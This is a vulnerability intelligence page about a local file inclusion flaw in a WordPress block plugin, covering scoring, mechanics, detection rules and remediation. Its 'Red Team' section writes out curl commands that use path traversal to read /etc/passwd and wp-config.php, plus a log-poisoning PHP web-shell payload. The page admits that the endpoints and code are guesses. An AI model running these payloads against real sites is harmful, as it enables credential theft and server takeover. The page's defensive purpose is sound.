☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Publishpress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48332

CVE-2025-48332 Local File Inclusion in Publishpress
📅 PUBLISHED: 2025-08-14 11:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48332 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the PublishPress Gutenberg Blocks plugin (formerly Advanced Gutenberg) for WordPress. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if the attacker can control file contents (e.g., via log poisoning). The plugin is widely used to extend the WordPress block editor, making this a high-impact threat for WordPress sites running version 3.3.1 or earlier. No official patch has been released at the time of analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via wp-cli are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

The high confidentiality impact combined with no required privileges or user interaction makes this vulnerability easily exploitable for information disclosure. While integrity and availability are not directly impacted, LFI can often be chained with other techniques (e.g., log poisoning) to achieve remote code execution.

Deep Dive & Mechanics

The vulnerability exists in the advanced-gutenberg plugin's handling of file inclusion. The plugin likely uses a dynamic parameter (e.g., include_file, template, or similar) to load block templates or assets. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The plugin fails to validate or sanitize user-supplied input used in a PHP include() or require() statement. This allows an attacker to specify a file path outside the intended directory.

Exploitation Scenario:

  1. An attacker sends a crafted HTTP request to a WordPress site with the vulnerable plugin active.
  2. The request includes a parameter that controls the file to be included, such as ?include=../../../../etc/passwd.
  3. The plugin processes this input and includes the specified file, outputting its contents in the HTTP response.
  4. The attacker can then read sensitive files like wp-config.php, /etc/passwd, or application logs.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server misconfiguration. The attack targets the plugin's PHP code, not Apache or Nginx.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities in WordPress plugins.

Vulnerable Code (Hypothetical):

<?php
// vulnerable.php
$file = $_GET['include'];
include( $file . '.php' );
?>

Patched Code (Hypothetical):

<?php
// patched.php
$allowed_files = array('template1', 'template2');
$file = $_GET['include'];
if (in_array($file, $allowed_files)) {
    include( $file . '.php' );
} else {
    // Handle error
}
?>

The patched version uses a whitelist approach to restrict inclusion to only predefined files.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with PublishPress Gutenberg Blocks <= 3.3.1 installed and activated.
  • Knowledge of the vulnerable parameter (e.g., include, file, template).

Exploitation Steps:

  1. Identify the vulnerable endpoint. Common patterns include:
    • /wp-content/plugins/advanced-gutenberg/block-renderer.php?include=
    • /wp-admin/admin-ajax.php?action=agb_load_block&include=
  2. Test for LFI by attempting to read /etc/passwd:
    curl "http://target.com/wp-content/plugins/advanced-gutenberg/vulnerable.php?include=../../../../etc/passwd"
    
  3. If successful, read wp-config.php:
    curl "http://target.com/wp-content/plugins/advanced-gutenberg/vulnerable.php?include=../../../../wp-config"
    
  4. For potential RCE via log poisoning:
    • Inject PHP code into access logs (e.g., via User-Agent header).
    • Include the log file:
      curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
      curl "http://target.com/wp-content/plugins/advanced-gutenberg/vulnerable.php?include=../../../../var/log/apache2/access.log&cmd=id"
      

No public exploit code is available at this time.

Blue Team (Defensive)

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, ..\\, %2e%2e%2f).
  • Alert on inclusion of sensitive files like wp-config.php, /etc/passwd, or log files.
  • Use WAF rules to block requests containing include= or similar parameters with path traversal sequences.

Hunting:

  • Search web server logs for requests to plugin files with suspicious parameters.
  • Look for unusual file inclusion attempts in PHP error logs.

Indicators of Compromise (IOCs)

  • File Paths:

    • /wp-content/plugins/advanced-gutenberg/ (plugin directory)
    • /etc/passwd
    • /wp-config.php
    • /var/log/apache2/access.log
    • /var/log/nginx/access.log
  • HTTP Request Patterns:

    • GET /wp-content/plugins/advanced-gutenberg/*?include=../../../../etc/passwd
    • GET /wp-content/plugins/advanced-gutenberg/*?file=../../../../wp-config.php
    • User-Agent strings containing PHP code (for log poisoning)
  • Network Indicators:

    • Outbound connections from the web server to attacker-controlled hosts (if RCE achieved).

Detection Engineering

YARA Rule

rule CVE_2025_48332_LFI_WordPress {
    meta:
        description = "Detects attempts to exploit CVE-2025-48332 in PublishPress Gutenberg Blocks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48332"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $plugin_file = /advanced-gutenberg/
        $sensitive_file = /wp-config\.php|etc\/passwd|proc\/self\/environ/
    condition:
        $plugin_file and $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2025-48332 - PublishPress Gutenberg Blocks LFI Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit Local File Inclusion in PublishPress Gutenberg Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'include='
            - 'file='
            - 'template='
        cs-uri-query|contains|all:
            - 'advanced-gutenberg'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48332 - PublishPress Gutenberg Blocks LFI Attempt"; flow:to_server,established; content:"advanced-gutenberg"; http_uri; content:"../"; http_uri; content:"include="; http_uri; sid:1000001; rev:1; reference:cve,2025-48332;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. If disabling is not possible, implement a Web Application Firewall (WAF) rule to block requests containing path traversal sequences in parameters associated with the plugin.
  3. Restrict file inclusion to a whitelist of allowed files via code modification (if you have developer access).

Long-term Fix:

  • Monitor the PublishPress plugin repository for an official patch.
  • Apply the patch as soon as it becomes available.
  • Consider using a different Gutenberg blocks plugin if the vendor does not respond.

General Hardening:

  • Keep all WordPress plugins and themes updated.
  • Use a security plugin (e.g., Wordfence, Sucuri) to detect and block LFI attempts.
  • Regularly audit file permissions and disable file editing in WordPress (define('DISALLOW_FILE_EDIT', true);).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Gutenberg Blocks"
http.html:"advanced-gutenberg"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48332/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.